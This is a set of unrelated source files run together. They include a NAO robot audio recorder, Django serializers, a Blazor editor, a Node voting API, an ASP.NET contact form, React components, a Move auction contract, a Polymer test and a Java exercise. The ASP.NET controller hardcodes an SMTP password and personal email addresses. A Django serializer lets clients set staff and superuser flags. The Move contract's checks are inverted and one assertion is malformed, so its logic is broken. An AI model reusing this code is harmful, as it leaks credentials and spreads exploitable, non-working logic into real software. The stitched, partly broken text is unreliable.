python3_runner.PythonRunner(python_path, script_path) result = runner.run_script('recognise', 'out.wav').splitlines() result = { 'song_name': result[0].encode('ascii', 'replace'), 'score': int(result[1].encode('ascii', 'replace')) } return result def version(self): return "0.6" # SoundReceiver - end def main(): """ Main entry point """ parser = OptionParser() parser.add_option("--pip", help="Parent broker port. The IP address or your robot", dest="pip") parser.add_option("--pport", help="Parent broker port. The port NAOqi is listening to", dest="pport", type="int") parser.add_option("--seconds", help="Number of seconds that should be recorded by Nao", dest="seconds", type="int") parser.set_defaults( pip=NAO_IP, pport=9559, seconds = 8) (opts, args_) = parser.parse_args() pip = opts.pip pport = opts.pport # We need this broker to be able to construct # NAOqi modules and subscribe to other modules # The broker must stay alive until the program exists myBroker = naoqi.ALBroker("myBroker", "0.0.0.0", # listen to anyone 0, # find a free port and use it pip, # parent broker IP pport) # parent broker port # Warning: SoundReceiver must be a global variable # The name given to the constructor must be the name of the # variable global SoundReceiver SoundReceiver = SoundReceiverModule("SoundReceiver", pip, pport) SoundReceiver.start() time.sleep(opts.seconds) print("%i seconds recorded...", opts.seconds) myBroker.shutdown() sys.exit(0) if __name__ == "__main__": main()
from rest_framework import serializers from django.contrib.auth.models import User from .models import Film, ExtraInfo, Ocena, Aktor class ExtraInfoSerializer(serializers.ModelSerializer): class Meta: model = ExtraInfo fields = ['czas_trwania', 'gatunek', 'rezyser', 'film'] class OcenaSerializer(serializers.ModelSerializer): class Meta: model = Ocena fields = ['recenzja', 'gwiazdki', 'film'] class AktorSerializer(serializers.ModelSerializer): filmy = serializers.SlugRelatedField(slug_field='tytul', queryset=Film.objects.all(), many=True) class Meta: model = Aktor fields = ['id', 'imie', 'nazwisko', 'filmy'] class FilmModelSerializer(serializers.ModelSerializer): extrainfo = serializers.StringRelatedField() ocena_set = OcenaSerializer(read_only=True, many=True) aktor_set = serializers.StringRelatedField(read_only=True, many=True) class Meta: model = Film fields = ['id', 'tytul', 'rok', 'imdb_pkts', 'premiera', 'opis', 'owner', 'extrainfo', 'ocena_set', 'aktor_set'] class UserSerializer(serializers.ModelSerializer): filmy = serializers.PrimaryKeyRelatedField(many=True, queryset=Film.objects.all()) einfo = serializers.PrimaryKeyRelatedField(queryset=ExtraInfo.objects.all()) oceny = serializers.PrimaryKeyRelatedField(many=True, queryset=Ocena.objects.all()) aktorzy = serializers.PrimaryKeyRelatedField(many=True, queryset=Aktor.objects.all()) class Meta: model = User fields = ['id', 'username', 'filmy'] class UserSerializerShort(serializers.ModelSerializer): class Meta: model = User fields = ['id', 'username', 'password', 'is_active', 'is_staff', 'is_superuser'] extra_kwargs = {'password': {'required': True, 'write_only': True}} def create(self, validated_data): password = validated_data.get('password', None) user = self.Meta.model(**validated_data) user.set_password(password) user.save() return user class statRezyser(serializers.ListSerializer): child = serializers.CharField() class statOceny(serializers.ListSerializer): child = serializers.CharField()
using System.Linq.Expressions; using System.Management; using System.Reflection; using System.Web; using Microsoft.AspNetCore.Components; using Microsoft.AspNetCore.Components.Rendering; using MudBlazor.Extensions.Attribute; using MudBlazor.Extensions.Components.ObjectEdit.Options; using MudBlazor.Utilities; using Newtonsoft.Json; using Nextended.Core; using Nextended.Core.Extensions; namespace MudBlazor.Extensions.Components.ObjectEdit; /// <summary> /// Editor for a property of an object. Used internally inside the MudExObjectEdit /// </summary> public partial class MudExPropertyEdit { /// <summary> /// If this is true, the component adds the value if possible to url and reads it automatically if its present in Url /// </summary> [Parameter] public bool StoreAndReadValueFromUrl { get; set; } /// <summary> /// A prefix that is used for the key in the url /// </summary> [Parameter] public string UriPrefixForKey { get; set; } = string.Empty; /// <summary> /// Set this to true to display whole property path as title /// </summary> [Parameter] public bool ShowPathAsTitle { get; set; } /// <summary> /// Gets or sets the IsLoading state /// </summary> [Parameter] public bool IsLoading { get; set; } /// <summary> /// Creates a skeleton while loading if this is true /// </summary> [Parameter] public bool AutoSkeletonOnLoad { get; set; } /// <summary> /// ActiveFiler string /// </summary> [Parameter] public string ActiveFilterTerm { get; set; } /// <summary> /// Settings for the property reset behavior /// </summary> [Parameter] public PropertyResetSettings PropertyResetSettings { get; set; } /// <summary> /// PropertyMeta from ObjectEdit where Value is present in /// </summary> [Parameter][IgnoreOnObjectEdit] public ObjectEditPropertyMeta PropertyMeta { get; set; } /// <summary> /// EventCallback if value changed /// </summary> [Parameter] public EventCallback<ObjectEditPropertyMeta> PropertyValueChanged { get; set; } /// <summary> /// If this setting is true and no RenderData is available there will no fallback in a textedit rendered /// </summary> [Parameter] public bool DisableFieldFallback { get; set; } private object _valueBackup; private DynamicComponent _editor; private bool _urlSetDone; private Expression<Func<TPropertyType>> CreateFieldForExpression<TPropertyType>() => Check.TryCatch<Expression<Func<TPropertyType>>, Exception>(() => Expression.Lambda<Func<TPropertyType>>(Expression.Property(Expression.Constant(PropertyMeta.ReferenceHolder, PropertyMeta.ReferenceHolder.GetType()), PropertyMeta.PropertyInfo))); private object CreateFieldForExpressionPropertyType() { MethodInfo createFieldForExpression = GetType().GetMethod(nameof(CreateFieldForExpression), BindingFlags.NonPublic | BindingFlags.Instance); MethodInfo genericMethod = createFieldForExpression?.MakeGenericMethod(PropertyMeta.ComponentFieldType); return genericMethod?.Invoke(this, Array.Empty<object>()) ?? CreateFieldForExpression<string>(); } /// <inheritdoc /> protected override async Task OnAfterRenderAsync(bool firstRender) { if (firstRender && PropertyMeta != null) { _valueBackup = await GetBackupAsync(PropertyMeta.Value); } await base.OnAfterRenderAsync(firstRender); } /// <inheritdoc /> protected override Task OnFinishedRenderAsync() { if (!_urlSetDone) { SetValueFromUrlIf(); _urlSetDone = true; } return base.OnFinishedRenderAsync(); } /// <inheritdoc /> protected override void OnInitialized() { RenderDataDefaults.AddRenderDataProvider(ServiceProvider); base.OnInitialized(); } private IDictionary<string, object> GetPreparedAttributes() { return PropertyMeta.RenderData .InitValueBinding(PropertyMeta, OnPropertyValueChanged) .TrySetAttributeIfAllowed(nameof(MudBaseInput<string>.For), CreateFieldForExpressionPropertyType()) .TrySetAttributeIfAllowed(nameof(MudExSelect<string>.ForMultiple), CreateFieldForExpressionPropertyType()) .TrySetAttributeIfAllowed(nameof(MudBaseInput<string>.Label), () => PropertyMeta.Settings.LabelFor(LocalizerToUse), PropertyMeta.Settings.LabelBehaviour is LabelBehaviour.Both or LabelBehaviour.DefaultComponentLabeling) .TrySetAttributeIfAllowed(nameof(MudBaseInput<string>.HelperText), () => PropertyMeta.Settings.DescriptionFor(LocalizerToUse)) .TrySetAttributeIfAllowed(nameof(Class), () => Class) .TrySetAttributeIfAllowed(nameof(Style), () => Style) .TrySetAttributeIfAllowed(nameof(Localizer), Localizer) .TrySetAttributeIfAllowed(nameof(RenderKey), RenderKey) .TrySetAttributeIfAllowed(nameof(MudBaseInput<string>.ReadOnly), () => !PropertyMeta.Settings.IsEditable).Attributes; } private Task OnPropertyValueChanged() { AddValueToUrlIf(); return PropertyValueChanged.InvokeAsync(PropertyMeta); } private void SetValueFromUrlIf() { var navigation = Get<NavigationManager>(); if (!StoreAndReadValueFromUrl || navigation is null) return; try { var uriBuilder = new UriBuilder(navigation.Uri); var query = HttpUtility.ParseQueryString(uriBuilder.Query); var key = UriPrefixForKey + PropertyMeta.PropertyName; if (query.AllKeys.Contains(key)) { var value = query[key]; if (value != null) { var deserializeObject = JsonConvert.DeserializeObject(value, PropertyMeta.PropertyInfo.PropertyType); var propertyMetaValue = deserializeObject.MapTo(PropertyMeta.PropertyInfo.PropertyType); PropertyMeta.Value = propertyMetaValue; Invalidate(); } } } catch (Exception e) { Console.WriteLine(e); } } private void AddValueToUrlIf() { var navigation = Get<NavigationManager>(); if (!StoreAndReadValueFromUrl || !IsFullyRendered || navigation is null) return; try { var uriBuilder = new UriBuilder(navigation.Uri); var query = HttpUtility.ParseQueryString(uriBuilder.Query); var valueForUrl = JsonConvert.SerializeObject(PropertyMeta.Value); var key = UriPrefixForKey + PropertyMeta.PropertyName; query[key] = valueForUrl; uriBuilder.Query = query.ToString() ?? string.Empty; navigation.NavigateTo(uriBuilder.ToString(), false); } catch (Exception e) { Console.WriteLine(e); } } private PropertyResetSettings GetResetSettings() => PropertyMeta.Settings?.ResetSettings ?? (PropertyResetSettings ??= new PropertyResetSettings()); /// <summary> /// Renders the editor with a CustomRenderer /// </summary> protected void RenderAs(RenderTreeBuilder renderTreeBuilder, ObjectEditPropertyMeta meta) => meta.RenderData.CustomRenderer.Render(renderTreeBuilder, this, meta); private async Task<object> GetBackupAsync(object value) { try { var t = PropertyMeta.PropertyInfo.PropertyType; if (value == null) return GetDefault(t); if (t.IsValueType || t.IsPrimitive || t == typeof(string)) return value; if (t == typeof(MudColor)) return new MudColor(value.ToString()); return await value.MapToAsync(t); } catch { return value; } } private static object GetDefault(Type type) { if (type == typeof(string)) return string.Empty; if (type == typeof(MudColor)) return new MudColor(0, 0, 0, 0); return type.CreateInstance(); } /// <summary> /// Resets the Editor /// </summary> public Task ResetAsync() => ClearOrResetAsync(true); /// <summary> /// Clears the Editor /// </summary> public Task ClearAsync() => ClearOrResetAsync(false); private async Task ClearOrResetAsync(bool reset) { try { if (PropertyMeta.PropertyInfo.CanWrite) { PropertyMeta.Value = reset ? await GetBackupAsync(_valueBackup) : PropertyMeta.RenderData.ConvertToPropertyValue( GetDefault(PropertyMeta.PropertyInfo.PropertyType)); StateHasChanged(); } } catch { // ignored } } /// <summary> /// Refreshes the UI /// </summary> public void Invalidate(bool useRefresh = false) { if (useRefresh) Refresh(); else StateHasChanged(); } /// <summary> /// Returns the current Value independent of the PropertyMeta for example if binding is disabled /// </summary> public object GetCurrentValue() => _editor.Instance?.GetType().GetProperty(PropertyMeta.RenderData.ValueField)?.GetValue(_editor.Instance); private string Title() => ShowPathAsTitle ? PropertyMeta.PropertyName.Replace(".", " > ") : null; }
// // Copyright 2021 The Dapr Authors // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // http://www.apache.org/licenses/LICENSE-2.0 // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. // const protocol = process.env.DAPR_PROTOCOL ?? "http"; const DAPR_HOST = process.env.DAPR_HOST ?? "localhost"; const DAPR_STATE_STORE_NAME = 'statestore'; const express = require('express'); const bodyParser = require('body-parser'); require('isomorphic-fetch'); const app = express(); app.use(bodyParser.json()); const candidatos = []; const votantesQueHanVotado = []; let votos = []; // These ports are injected automatically into the container. const daprPort = process.env.DAPR_HTTP_PORT ?? "3500"; const daprGRPCPort = process.env.DAPR_GRPC_PORT ?? "50001"; const stateStoreName = `statestore`; const stateUrl = `http://localhost:${daprPort}/v1.0/state/${stateStoreName}`; const port = process.env.APP_PORT ?? "3000"; let faseCandidatos = false; let faseVotacion = false; let seCerroFase = false; app.get('/order', async (_req, res) => { try { const response = await fetch(`${stateUrl}/order`); if (!response.ok) { throw "Could not get state."; } const orders = await response.text(); res.send(orders); } catch (error) { console.log(error); res.status(500).send({message: error}); } }); app.post('/neworder', async (req, res) => { const data = req.body.data; const orderId = data.orderId; console.log("Got a new order! Order ID: " + orderId); const state = [{ key: "order", value: data }]; try { const response = await fetch(stateUrl, { method: "POST", body: JSON.stringify(state), headers: { "Content-Type": "application/json" } }); if (!response.ok) { throw "Failed to persist state."; } console.log("Successfully persisted state for Order ID: " + orderId); res.status(200).send(); } catch (error) { console.log(error); res.status(500).send({message: error}); } }); app.get('/ports', (_req, res) => { console.log("DAPR_HTTP_PORT: " + daprPort); console.log("DAPR_GRPC_PORT: " + daprGRPCPort); res.status(200).send({DAPR_HTTP_PORT: daprPort, DAPR_GRPC_PORT: daprGRPCPort }) }); app.listen(port, () => console.log(`Node App está escuchando en el puerto ${port}!`)); //PASO 1 app.post('/AbrirFaseCandidatos', (req, res) => { faseCandidatos = true; res.status(200).send('Se ha abierto la fase para crear candidatos'); }); app.post('/candidatos', (req, res) => { if (!faseCandidatos) { res.status(400).send('Se ha cerrado la parte de agregar candidato'); return; } if (faseCandidatos) { const { nombre, apellido, correo, telefono, partido } = req.body const nuevoCandidato = crearCandidato(nombre, apellido, correo, telefono, partido) // Enviar una respuesta con el nuevo registro creado res.status(201).json('Se ha creado un nuevo candidato'); }else{ res.status(400).send('No se ha abierto la fase para ingresar candidatos'); } }) //PASO 2 app.post('/AbrirFaseVotacion', (req, res) => { faseVotacion = true; // Asignar el valor false a la variable global res.status(200).send('Se ha abierto la fase de votación'); }); app.post('/CerrarFase', (req, res) => { faseCandidatos = false; // Asignar el valor false a la variable global res.status(200).send('Se ha cerrado la fase para crear candidatos'); }); //PASO 3 app.post('/votar', (req, res) => { const { id_votante, nombre_candidato, es_nulo } = req.body; if(faseVotacion){ if (!faseCandidatos) { if (seCerroFase) { res.status(400).send('Se ha cerrado las votaciones'); return; }else{ // Verificar si el votante ya ha votado anteriormente if (yaHaVotado(id_votante)) { res.status(400).send('Intento de fraude'); return; } // Registrar el voto en la base de datos registrarVoto(id_votante, nombre_candidato, es_nulo); res.status(200).send('Voto registrado correctamente'); } }else{ res.status(400).send('Se debe cerrar la fase de candidatos'); } }else{ res.status(400).send('Se debe abrir fase de votación'); } }); //PASO 4 app.post('/cerrarfasevotacion', (req, res) => { seCerroFase = true; res.status(200).send('Se ha cerrado la fase de votación'); }); function crearCandidato(nombre, apellido, correo, telefono, partido) { // Crear un objeto con los datos del candidato const nuevoCandidato = { nombre, apellido, correo, telefono, partido } // Agregar el nuevo candidato a la variable global de candidatos candidatos.push(nuevoCandidato) console.log("Candidato Creado") } function registrarVoto(id_votante, nombre_candidato, es_nulo) { let fecha = new Date().toISOString() let voto = { id_votante, nombre_candidato, es_nulo, fecha } votos.push(voto) } function yaHaVotado(id_votante) { return votos.find(voto => voto.id_votante === id_votante) !== undefined; } //Estadística app.get('/conteo-votos', (req, res) => { let conteoVotosPorCandidato = votos.reduce(function (acumulador, voto) { let candidato = voto.nombre_candidato; if (!acumulador[candidato]) { acumulador[candidato] = 0; } acumulador[candidato]++; return acumulador; }, {}); res.json(conteoVotosPorCandidato); });
using System; using System.Collections.Generic; using System.Linq; using System.Net; using System.Net.Mail; using System.Web; using System.Web.Mvc; namespace uStoreMvcConversion.Controllers { public class HomeController : Controller { public ActionResult Index() { return View(); } public ActionResult FAQ() { return View(); } public ActionResult Contact() { return View(); } [HttpPost] [ValidateAntiForgeryToken]//validates token generated from the GET request & protects against cross site scripting public ActionResult Contact(Models.ContactViewModel contactInfo) { //1. Check that the Model information is valid //Verify ModelState.IsValid -- we need to ensure that we get correct info that passed our validation. (server side, benefits biz/dev.) //We need to add !ModelState.IsValid to return a View(); of the form with the data that the user submitted. if (!ModelState.IsValid) { //If the ModelState is not valid return a View of the contact w/ validation messages. return View(contactInfo); }//end if !ModelState.IsValid //******************************************** //If the model was valid, we need to process and send the EMAIL //We accept a ContavtViewModel object in order to process the users submitted data via the COntact View (Strongly Typed) //Due to the way the @Html methods render, the "name" attr. is created and assigned to the correct ContactViewModel property //1. Create the body/content for the email from the ContactViewModel properties string body = string.Format( $"Name: {contactInfo.Name}<br />" + $"Email: {contactInfo.Email}<br />" + $"Subject: {contactInfo.Subject}<br />" + $"Message:<br/> {contactInfo.Message}"); //2. Create and configure the MailMessage object. (to/from addresss, subject, email content.) //.Addded a using statement System.Net.Mail MailMessage msg = new MailMessage("no-reply@jshdevco.com",//from address "joshua.s.harrison@outlook.com",//to address contactInfo.Subject,//subject of email body);//email body //3. Set properties of the MailMessage object (cc, bcc, set mail priorty, etc.) msg.IsBodyHtml = true; // msg.CC.Add("jarshvader@gmail.com"); /*msg.Priority = MailPriority.High*///optional //4. create and configure the SMTP client (simple mail transfer protocol) (this will send the actual email) //added using System.Net SmtpClient client = new SmtpClient("mail.jshdevco.com"); client.Credentials = new NetworkCredential("no-reply@jshdevco.com", "COopers21@!"); client.EnableSsl = false; client.Port = 8889; //5. use the SMTP client object to try and send an email message. We will need to make sure that we close the SMTP client object //when we are done attempting to send the email. using (client) { //automatically close and clean up resources related to the smtp client object //when its done, it is deleted and gone. (garbage collection) try { //we are going to try to send the email message (with our client) client.Send(msg); } catch { //Failed to send - we will add a message and display it to the user on the layout //create a ViewBag object to return an error to the user and send them back to the ContactView ViewBag.ErrorMessage = "An error occurred!\nPlease try again."; return View(); }//end catch }//end using //send successful we will send the user to a ContactConfirmation view and send the ContactInfo object with it. //return View(); return View("ContactConfirmation", contactInfo); } public ActionResult Products() { return View(); } } }
import { join } from 'path'; import React, { FC, useEffect, useRef, useState } from 'react'; import { useDispatch, useSelector, useLocation } from 'dva'; import Table from 'antd/lib/table'; import Modal from 'antd/lib/modal'; import message from 'antd/lib/message'; import { StateTree } from '@/type/model'; import { DeviceType } from '@/schema/device-type'; import { ParseDevState } from '@/model/default/parse-dev'; import { OperateDoingState } from '@/model/default/operate-doing'; import { helper } from '@/utils/helper'; import DevInfo from '../dev-info'; import { ClickType } from '../dev-info/prop'; import EditDevModal from '../edit-dev-modal'; import ExportReportModal from '../export-report-modal'; import ExportBcpModal from '../export-bcp-modal'; import { getDevColumns } from './column'; import { DevListProp } from './prop'; const { parseText } = helper.readConf()!; /** * 设备表格 * +---+ * | | * +---+ * | |#| * +---+ */ const DevList: FC<DevListProp> = ({ }) => { const dispatch = useDispatch(); const { search } = useLocation(); const { caseId, data, loading, pageIndex, pageSize, total, expandedRowKeys } = useSelector<StateTree, ParseDevState>(state => state.parseDev); const operateDoing = useSelector<StateTree, OperateDoingState>(state => state.operateDoing); const currentDev = useRef<DeviceType>(); const [editDevModalVisbile, setEditDevModalVisible] = useState<boolean>(false); const [exportReportModalVisible, setExportReportModalVisible] = useState<boolean>(false); const [exportBcpModalVisible, setExportBcpModalVisible] = useState<boolean>(false); /** * 查询案件下设备 * @param condition 条件 * @param pageIndex 当前页 */ const query = (condition: Record<string, any>, pageIndex: number) => { dispatch({ type: 'parseDev/queryDev', payload: { condition, pageIndex, pageSize: 5 } }); } useEffect(() => { return () => { dispatch({ type: 'parseDev/setCaseId', payload: undefined }); dispatch({ type: 'parseDev/setExpandedRowKeys', payload: [] }); } }, []); useEffect(() => { const params = new URLSearchParams(search); const dp = params.get('dp'); query({}, dp === null ? 1 : Number.parseInt(dp)); }, [caseId]); /** * 翻页Change * @param pageIndex 当前页 */ const onPageChange = (pageIndex: number) => query({}, pageIndex); /** * 展开行Change */ const onExpand = (expanded: boolean, { _id }: DeviceType) => dispatch({ type: 'parseDev/setExpandedRowKeys', payload: expanded ? [_id] : [] }); /** * 设备信息按钮点击统一处理 * @param data 设备 * @param fn 功能枚举 */ const onDevButtonClick = (data: DeviceType, fn: ClickType) => { switch (fn) { case ClickType.Edit: currentDev.current = data; setEditDevModalVisible(true); break; case ClickType.Delete: const [name] = data.mobileName!.split('_'); Modal.confirm({ onOk() { dispatch({ type: 'parseDev/delDev', payload: data }); }, title: '删除设备', content: `确认删除「${name}」数据?`, okText: '是', cancelText: '否', centered: true, zIndex: 1031 }); break; case ClickType.GenerateBCP: dispatch({ type: 'parseDev/gotoBcp', payload: { caseId, deviceId: data._id } }); break; case ClickType.ExportBCP: dispatch({ type: 'exportBcpModal/setIsBatch', payload: false }); dispatch({ type: 'exportBcpModal/setExportBcpDevice', payload: data }); setExportBcpModalVisible(true); break; case ClickType.CloudSearch: dispatch({ type: 'parseDev/gotoTrail', payload: { caseId, deviceId: data._id } }); break; default: console.warn('未知Click类型:', fn); break; } }; /** * 编辑保存 * @param data 设备 */ const onEditDevSave = (data: DeviceType) => { dispatch({ type: 'parseDev/updateDev', payload: data }); setEditDevModalVisible(false); }; /** * 导出报告Click */ const exportReportClick = async (data: DeviceType) => { const treeJsonPath = join( data.phonePath!, 'report/public/data/tree.json' ); try { let exist = await helper.existFile(treeJsonPath); if (exist) { currentDev.current = data; setExportReportModalVisible(true); } else { message.destroy(); message.info(`无报告数据,请${parseText ?? '解析'}完成后生成报告`); } } catch (error) { message.warning('读取报告数据失败,请重新生成报告'); } }; /** * 导出BCP handle * @param bcpList BCP文件列表 * @param destination 导出目录 */ const exportBcpHandle = async (bcpList: string[], destination: string) => { dispatch({ type: 'exportBcpModal/setExporting', payload: true }); try { await helper.copyFiles(bcpList, destination); message.success('BCP导出成功'); } catch (error) { message.error(`导出失败 ${error.message}`); } finally { dispatch({ type: 'exportBcpModal/setExporting', payload: false }); setExportBcpModalVisible(false); } }; return <> <Table<DeviceType> columns={getDevColumns(dispatch, operateDoing, exportReportClick)} dataSource={data} loading={loading} pagination={{ onChange: onPageChange, current: pageIndex, pageSize, total, showSizeChanger: false }} expandable={{ expandedRowRender: (record) => <DevInfo data={record} onButtonClick={onDevButtonClick} />, expandedRowKeys: expandedRowKeys, onExpand, expandRowByClick: true }} rowKey="_id" size="small" /> <EditDevModal onSaveHandle={onEditDevSave} onCancelHandle={() => setEditDevModalVisible(false)} visible={editDevModalVisbile} data={currentDev.current} /> <ExportReportModal visible={exportReportModalVisible} data={currentDev.current} closeHandle={() => setExportReportModalVisible(false)} /> <ExportBcpModal visible={exportBcpModalVisible} okHandle={exportBcpHandle} cancelHandle={() => setExportBcpModalVisible(false)} /> </>; }; export { DevList };
import React, {useContext, useEffect, useState} from 'react' import { Button, Modal } from 'react-bootstrap'; import { ToastContainer, toast } from 'react-toastify'; import 'react-toastify/dist/ReactToastify.css'; import { addProjectAPI } from '../services/allApi'; import { addProjectResponseContext } from '../Context/ContextShare'; function AddProject() { const {addProjectResponse,setAddProjectResponse} = useContext (addProjectResponseContext) const [show, setShow] = useState(false); const [token,setToken] = useState("") const [projectDetails,setProjectDetails] = useState({ title:"",languages:"",github:"",website:"",overview:"",projectImage:"",userId:"" }) const [preview,setPreview] = useState() useEffect(()=>{ if(localStorage.getItem("existingUser")&&sessionStorage.getItem("token")){ setProjectDetails({...projectDetails,userId:JSON.parse(localStorage.getItem("existingUser"))._id}) setToken(sessionStorage.getItem("token")) } },[]) useEffect(()=>{ if(projectDetails.image){ setPreview(URL.createObjectURL(projectDetails.image)) } },[projectDetails.image]) //console.log(projectDetails); const handleClose = () => { setShow(false) setPreview("") setProjectDetails({title:"",languages:"",github:"",website:"",overview:"",image:"",userId:""}) } const handleShow = () => setShow(true); const handleSave = async (e)=>{ e.preventDefault() const {title,languages,github,website,overview,image,userId} = projectDetails if(!title || !languages || !github || !website || !overview || !image || !userId){ toast.info("Please fill the form completely!!!") }else{ const reqBody = new FormData() reqBody.append("title",title) reqBody.append("languages",languages) reqBody.append("github",github) reqBody.append("website",website) reqBody.append("overview",overview) reqBody.append("projectImage",image) reqBody.append("userId",userId) const reqHeader = { "Content-Type":"multipart/form-data","Authorization":`Bearer ${token}` } const result = await addProjectAPI(reqBody,reqHeader) if(result.status===200){ toast.success(`Project '${result.data.title}' added successfully... `) setProjectDetails({ title:"",languages:"",github:"",website:"",overview:"",image:"",userId:"" }) setAddProjectResponse(result.data) handleClose() }else{ toast.warning(result.response.data) console.log(result); } } } return ( <> <Button variant="primary" onClick={handleShow}> Add Project </Button> <Modal show={show} onHide={handleClose} backdrop="static" keyboard={false} size='lg' centered> <Modal.Header closeButton> <Modal.Title>Project Details</Modal.Title> </Modal.Header> <Modal.Body> <div className='row'> <div className="col-lg-6 "> <label className='text-center ms-2 mt-2' htmlFor='projectpic'> <input id='projectpic' onChange={e=>setProjectDetails({...projectDetails,image:e.target.files[0]})} type='file' style={{display:'none'}}/> <img width={'200px'} height={'200px'} src={preview?preview:"https://encrypted-tbn0.gstatic.com/images?q=tbn:ANd9GcQO21KD34SnaDlniOfV9RPIa2ncbStjcE6-4A&usqp=CAU"} alt='project picture'/> </label> </div> <div className="col-lg-6"> <input type="text" className="form-control" placeholder='Project Name' value={projectDetails.title} onChange={e=>setProjectDetails({...projectDetails,title:e.target.value})}/><br/> <input type="text" className="form-control" placeholder='Language Used' value={projectDetails.languages} onChange={e=>setProjectDetails({...projectDetails,languages:e.target.value})}/><br/> <input type="text" className="form-control" placeholder='Github Link' value={projectDetails.github} onChange={e=>setProjectDetails({...projectDetails,github:e.target.value})}/><br/> <input type="text" className="form-control" placeholder='Website Link' value={projectDetails.website} onChange={e=>setProjectDetails({...projectDetails,website:e.target.value})}/><br/> </div> </div> <input type="text" className="form-control" placeholder='Project Overview' value={projectDetails.overview} onChange={e=>setProjectDetails({...projectDetails,overview:e.target.value})}/> </Modal.Body> <Modal.Footer> <Button variant="secondary" onClick={handleClose}> Cancel </Button> <Button onClick={handleSave} variant="primary">Save</Button> </Modal.Footer> </Modal> <ToastContainer position='top-right' autoClose={2000} theme='colored'/> </> ) } export default AddProject
module 0x1::auction { use Std::Signer; const ERR_CAN_NOT_BID: u64 = 101; const ERR_AUCTION_NOT_LIVE: u64 = 102; const ERR_BID_TOO_LOW: u64 = 103; const ERR_SAME_HIGHEST_BIDDER: u64 = 104; const ERR_CAN_STILL_BID: u64 = 105; const ERR_ONLY_BENE_CAN_END: u64 = 106; struct Auction has key, drop, store { beneficiary: address, highestBidder: address, highestBid: u64, pendingReturns: u64, pendingBidder: address, canBid: bool, ended: bool, } struct Wallet has key, drop, store { balance: u64, } public fun init_Auction( account: &signer, ) { let owner_address = Signer::address_of(account); move_to(account, Auction { beneficiary: owner_address, highestBidder: owner_address, highestBid: 0, pendingReturns: 0, pendingBidder: owner_address, canBid: true, ended: false } ); } public fun bid( bidder: &signer, bid: u64, ) acquires Auction, Wallet { let auctionConfig = borrow_global_mut<Auction>(@auction); let acc_bidder = Signer::address_of(bidder); assert!(!auctionConfig.canBid, ERR_CAN_NOT_BID); assert!(auctionConfig.ended, ERR_AUCTION_NOT_LIVE); assert!(auctionConfig.highestBid > bid, ERR_BID_TOO_LOW); assert!(auctionConfig.highestBidder == acc_bidder, ERR_SAME_HIGHEST_BIDDER); auctionConfig.pendingReturns = auctionConfig.highestBid; auctionConfig.highestBid = bid; auctionConfig.pendingBidder = auctionConfig.highestBidder; auctionConfig.highestBidder = acc_bidder; auctionConfig.canBid = false; let wallet = borrow_global_mut<Wallet>(acc_bidder); let local_current_balance = wallet.balance; wallet.balance = local_current_balance - bid; } public fun withdraw( ) acquires Auction, Wallet { let auctionConfig = borrow_global_mut<Auction>(@auction); assert!(auctionConfig.canBid, ERR_CAN_STILL_BID); assert!(auctionConfig.ended, ERR_AUCTION_NOT_LIVE); let wallet = borrow_global_mut<Wallet>(auctionConfig.pendingBidder); let local_current_balance = wallet.balance; wallet.balance = local_current_balance + auctionConfig.pendingReturns; auctionConfig.pendingReturns = 0; auctionConfig.canBid = true; } public fun endAuction( sender: &signer, ) acquires Auction, Wallet { let auctionConfig = borrow_global_mut<Auction>(@auction); let acc_sender = Signer::address_of(sender); assert!(auctionConfig.ended, ERR_AUCTION_NOT_LIVE); assert(auctionConfig.beneficiary != acc_sender, ERR_ONLY_BENE_CAN_END); let wallet = borrow_global_mut<Wallet>(auctionConfig.beneficiary); let local_current_balance = wallet.balance; wallet.balance = local_current_balance + auctionConfig.highestBid; auctionConfig.pendingReturns = 0; auctionConfig.ended = true; } }
<!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8" /> <script src="../../../webcomponentsjs/webcomponents-lite.js"></script> <script src="../node_modules/web-component-tester/browser.js"></script> <link rel="import" href="../../../polymer/polymer.html" /> <link rel="import" href="../../label-badge/view.html" /> <script src="../../_components/bundle.js"></script> </head> <body> <test-fixture id="label"> <template> <label-clab></label-clab> </template> </test-fixture> <script> suite('<label-clab>', function () { var label; setup(function () { label = fixture('label'); }); suite('Test Properties', function () { test('Default Properties', function () { assert.isNull(label.type); assert.isNull(label.counter); assert.isFalse(label.remove); assert.isFalse(label.badge); }); }); suite('Test DOM Bindings', function () { test('Check type', function () { var type = 'error'; label.type = type; var elClass = label.$$('.label').classList; assert.isTrue(elClass.contains(type)); }); test('Check counter', function (done) { var n = 12; label.counter = true; setTimeout(function () { var el = label.$$('.counter'); assert.isNotNull(el); assert.equal(el.innerText, 'true'); done(); }); }); test('Check remove', function (done) { label.remove = true; setTimeout(function () { var el = label.$$('.remove'); assert.isNotNull(el); done(); }); }); test('Check badge', function (done) { label.badge = true; setTimeout(function () { var el = label.$$('.badge'); assert.isNotNull(el); done(); }); }); suite('Test Events', function () { test('Remove on-click', function (done) { label.remove = true; var tap = new Event('tap'); setTimeout(function () { var el = label.$$('.remove'); label.addEventListener('remove', function (evt) { assert.equal(evt.type, 'remove'); done(); }); el.dispatchEvent(tap); }); }); }); }); }); </script> </body> </html>
package Modulo1.Aula4; public class EX0407 { public static void main(String[] args) { int[][] entradas = { {2, 2, 5}, {3, 3, 5}, {2, 2, 2}, {2, 5, 2}, {2, 4, 3}, {150, 120, 220}, {122, 252, 130}, {152, 200, 351}, {1232, 2200, 120}, {1, 2, 1}, {2, 1, 2} }; String[] saidas = { "LadosInvalidosException", "true", "true", "LadosInvalidosException", "true", "true", "LadosInvalidosException", "true", "LadosInvalidosException", "LadosInvalidosException", "true" }; for (int i = 0; i < entradas.length; i++) { String resultado = "true"; try { eUmTriangulo(entradas[i]); } catch (LadosInvalidosException e) { resultado = "LadosInvalidosException"; } String esperado = saidas[i]; System.out.println("Resultado: " + resultado); System.out.println("Esperado: " + esperado); System.out.println(resultado == esperado); System.out.println(); } } public static void eUmTriangulo(int[] input) throws LadosInvalidosException { int a = input[0]; int b = input[1]; int c = input[2]; if (a <= 0 || b <= 0 || c <= 0 || (a + b <= c) || (a + c <= b) || (b + c <= a)) { throw new LadosInvalidosException(); } } private static class LadosInvalidosException extends Exception { public LadosInvalidosException() { super("Lados inválidos para formar um triângulo"); } public LadosInvalidosException(String message) { super(message); } } }
